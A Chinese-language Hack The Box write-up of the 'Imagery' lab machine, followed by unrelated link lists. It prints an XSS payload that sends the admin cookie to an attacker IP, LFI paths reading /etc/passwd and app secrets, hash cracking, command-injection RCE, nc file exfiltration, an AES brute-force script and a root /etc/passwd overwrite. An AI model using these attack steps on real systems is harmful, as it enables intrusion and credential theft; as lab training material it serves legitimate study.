当前位置: 首页 > news >正文

HTB 赛季9靶场 - Imagery

在这里插入图片描述

nmap -F 10.129.187.110 --min-rate=1000 -sV -sC && sudo nmap -F 10.129.187.110 --min-rate=1000 -sU && nmap -p- 10.129.187.110 --min-rate=1000 && sudo nmap -p- 10.129.187.110 --min-rate=1000 -sU

![[Pasted image 20250928075556.png]]

XSS攻击 - steal cookie

我们发现了一个页面注册并登录。
![[Pasted image 20250928095431.png]]

我们进入Report Bug页面,这个页面会和Admin交互
![[Pasted image 20250928095452.png]]

所以我们上XSS尝试

<img src=x onerror="location.href='http://10.10.16.7/steal?cookie='+ document.cookie">

![[Pasted image 20250928095523.png]]

打开python http服务器,监听

python -m http.server 80

![[Pasted image 20250928095602.png]]

配置burp后使用admin进入服务器
![[Pasted image 20250928095650.png]]

![[Pasted image 20250928095639.png]]

我们看到了admin的dashboard
![[Pasted image 20250928095716.png]]

进入dashboard,可能会变为404,因为我们的XSS问题,所以要删除哪个带有XSS的内容
![[Pasted image 20250928095810.png]]

LFI漏洞

我们下载用户的log,注意到路径

http://10.129.187.110:8000/admin/get_system_log?log_identifier=testuser%40imagery.htb.log

尝试LFI

http://10.129.187.110:8000/admin/get_system_log?log_identifier=../../../../../etc/passwd

![[Pasted image 20250928100208.png]]

了解用户情况,我们尝试窃取用户的id_rsa全部失败

root
web
mark

LFI利用 - 查阅源码 - 查看ssh配置 - 窃取配置文件

上网查找配置文件位置,我们发现配置文件名为config.py。我们进行路径喷洒

http://10.129.187.110:8000/admin/get_system_log?log_identifier=../config.py

![[Pasted image 20250928101520.png]]

我们进一步访问db.json文件

http://imagery.com:8000/admin/get_system_log?log_identifier=../db.json

![[Pasted image 20250929105805.png]]

hashcat破解密码

我们使用hashcat破解密码

2c65c8d7bfbca32a3ed42596192384f6
5d9c1d507a3f76af1e5c97a3ad1eaa31

![[Pasted image 20250929110015.png]]

2c65c8d7bfbca32a3ed42596192384f6:iambatman

ssh密码登录禁用确认

我们尝试喷洒iambatman但是失败了,并且ssh说明了公钥不正确。
![[Pasted image 20250929110113.png]]

我们为此查看sshd配置文件,明确了不允许密码登录

http://imagery.com:8000/admin/get_system_log?log_identifier=../../../../../etc/ssh/sshd_config

![[Pasted image 20250929110305.png]]

LFI - 源码审计python - flask

这意味着我们只能通过窃取密钥或者Webshell,来获取shell。我们尝试了窃取密钥但没有成功。转向webshell,为此我们希望读取源码。经过了解flask框架,app.py这个通常是启动函数。

http://imagery.com:8000/admin/get_system_log?log_identifier=../app.py

![[Pasted image 20250929110516.png]]

我们对于这几个非常感兴趣,因为是用户自己定义的,所以继续窃取其他的py文件。下面我们发现了一处危险函数。

http://imagery.com:8000/admin/get_system_log?log_identifier=../api_edit.py

![[Pasted image 20250929110712.png]]

subprocess是python的系统命令执行语句,同时command是通过字符串拼接所以可能导致RCE问题。下面我们确认是否可控制x,y,width,height位置,发现我们完全可控制执行的命令参数。
![[Pasted image 20250929110925.png]]

到此我们发现该功能点存在RCE漏洞,所以我们确定功能点访问路径。我们发现api路径为,/apply_visual_transform。且需要的account需要,testuser。
![[Pasted image 20250929111200.png]]

上面我们所破解密码的用户正好是testuser
![[Pasted image 20250929105805.png]]

testuser@imagery.htb / iambatman

攻击路径确认,我们首先登录testuser账户,然后使用对应的RCE接口。首先上传一个图片,以保证imageid合法,再输入对应payload
![[Pasted image 20250929111628.png]]

![[Pasted image 20250929111709.png]]

![[Pasted image 20250929111731.png]]

翻找主机文件 - backup文件

我们在主机上找到了backup文件
![[Pasted image 20250929111810.png]]

传输该文件到我们的攻击机

nc -q 0 10.10.16.7 8888 < web_20250806_120723.zip.aes####kali shell
nc -lvnp 8888 > backup.zip.aes

在kali分析文件

file backup.zip.aes

![[Pasted image 20250929111935.png]]

pyAesCrypt暴力解密AES加密文件

我们在google查询pyAesCrypt,发现了它是一种AES加密工具,需要密码才能破解备份文件。破解密码的方法是有的

pyAesCrypt crack password decrypt

![[Pasted image 20250929112025.png]]

![[Pasted image 20250929112123.png]]

好吧,这里貌似需要我们自己编程了,我找了半天也没找到。屎山代码,各位见谅。

import pyAesCryptGREEN = "\033[92m"   # 亮绿色
RESET = "\033[0m"    # 恢复默认颜色def decrypt(password,AESfile,output):try:res = pyAesCrypt.decryptFile(AESfile, output, str(password))if not res:return Trueexcept:return Falsewith open('/home/kali/Desktop/Info/zhuzhuzxia/Passwords/rockyou.txt', 'rb') as f:  # change it!passwords = [line.decode('latin1').strip() for line in f]for password in passwords:res = decrypt(password,"backup.zip.aes","backup.zip") # change it!if res:print(f"{GREEN}[+]{password}{RESET}")breakelse:print(f"[-]{password}")

我们使用脚本,破解了AES

python decrypt.py

![[Pasted image 20250929112334.png]]

很好,我们进入下一步收获密码了!我们重新枚举db.json。
![[Pasted image 20250929112433.png]]

提取其中的密码hash,并破解

cat db.json| jq .users[].password | cut -d "\"" -f 2
hashcat -a 0 -m 0 hash /home/kali/Desktop/Info/zhuzhuzxia/Passwords/rockyou.txt 

![[Pasted image 20250929112548.png]]

2c65c8d7bfbca32a3ed42596192384f6:iambatman
01c3d2e5bdaf6134cec0a367cf53e535:supersmash

很好我们尝试su切换用户

su mark
supersmash

![[Pasted image 20250929112636.png]]

升级一下shell,用着太难受了

python3 -c 'import os,pty;pty.spawn("bash")'

sudo -l 权限提升- charcol 权限提升 - living off the land

sudo -l 发现了一个有趣的elf

/usr/local/bin/charcol

![[Pasted image 20250929112911.png]]

我们尝试使用了一下,发现是个备份工具,还是root权限,DDDD!
![[Pasted image 20250929113108.png]]

我们测试这个备份工具,首先需要重置他的密码。重置完毕后我们尝试备份,但是失败了。

sudo /usr/local/bin/charcol -R 
sudo /usr/local/bin/charcol shell 
> backup -i /root -f 

![[Pasted image 20250929191756.png]]

修改etc/passwd文件提权

寻找到其他的可利用点,我们可以借助fetch功能来从远程服务器下载内容,然后强制overwrite内容。我们利用这个特性,修改了/etc/passwd文件。

mark@Imagery:/tmp$ sudo /usr/local/bin/charcol shell 
charcol> fetch http://10.10.16.7/pwn -o /etc/passwd -f
charcol> exit
mark@Imagery:/tmp$ cat /etc/passwd
cat /etc/passwd
root::0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
usbmux:x:100:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:102:102::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:992:992:systemd Resolver:/:/usr/sbin/nologin
pollinate:x:103:1::/var/cache/pollinate:/bin/false
polkitd:x:991:991:User for polkitd:/:/usr/sbin/nologin
syslog:x:104:104::/nonexistent:/usr/sbin/nologin
uuidd:x:105:105::/run/uuidd:/usr/sbin/nologin
tcpdump:x:106:107::/nonexistent:/usr/sbin/nologin
tss:x:107:108:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:108:109::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
web:x:1001:1001::/home/web:/bin/bash
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
snapd-range-524288-root:x:524288:524288::/nonexistent:/usr/bin/false
snap_daemon:x:584788:584788::/nonexistent:/usr/bin/false
mark:x:1002:1002::/home/mark:/bin/bash
_laurel:x:101:988::/var/log/laurel:/bin/false
dhcpcd:x:110:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false

我们将root的x去掉了,所以我们可以直接su root完成权限切换

su root

![[Pasted image 20250929192115.png]]

http://www.dtcms.com/a/424214.html

相关文章:

  • 集团微网站建设中企动力初期做的网站
  • 中山网站seo办公资源网
  • 检索增强生成(RAG)全流程解析
  • JAVA:Spring Boot 集成 AspectJ 实现切面编程
  • Promse.all 与 Promise.allSettled
  • 网站本科腾讯企点
  • 杭州高端品牌网站建设网站建设维护升级
  • 上海大规模网站建设平台北京城市副中心投资建设公司网站
  • 360免费建站空间网站建设网络安全
  • 金融适合什么颜色做网站广州seo公司官网
  • DeepSeek-V3.2:DSA稀疏注意力的降本增效
  • SpringBoot 不更改 pom.xml 引入各种 JDBC 驱动 jar 包
  • 【37】C# WinForm入门到精通 —— Winform界面运行后,界面上的字体 图案 整体感觉模糊,解决办法
  • 哪家公司建5g基站网站怎么做qq的授权登陆
  • 做解析视频网站违法莫网站调优技能
  • 个人建设视频网站ppt模板制作免费下载
  • 20250929的学习笔记
  • 字节序和位操作
  • 没有公司自己做网站百度云wordpress怎么搭建网站
  • 《Python 中的“面向接口编程”:抽象基类的力量与实践指南》
  • 25.渗透-.Linux基础命令(十七)-Linux系统状态管理(安全加固-删除无关账户)
  • wordpress响应式网站模板下载企业手机网站建设流程图
  • ollama离线部署加载Bge-M3向量模型
  • 全站仪快速建站本地建站工具
  • AI照片转二次元
  • A股大盘数据-20250929分析
  • 攻防世界-Web-upload1
  • 如何做DJ网站网站兼容ie代码
  • 基于海思Hi3798MV200 Android7.0实现电影播放蓝光导航功能
  • 北京便宜网站建设网页设计策划案范文